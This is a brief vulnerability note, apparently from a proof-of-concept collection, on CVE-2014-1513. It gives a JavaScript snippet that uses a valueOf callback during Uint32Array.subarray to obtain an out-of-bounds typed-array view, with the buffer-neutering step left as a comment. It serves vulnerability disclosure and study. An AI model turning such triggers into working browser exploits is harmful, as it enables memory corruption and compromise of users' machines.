CVE-2014-1513.md

CVE-2014-1513

• Date: Mar 2014
• Credit: Jüri Aedla

PoC

var array_buffer = new ArrayBuffer(4000);
var u32arr = new Uint32Array(array_buffer);
var end = {
  valueOf: function() {
    /* neuter buffer */
    return 3000;
  }
};
var oob = u32arr.subarray(0, end);

Reference

• Issue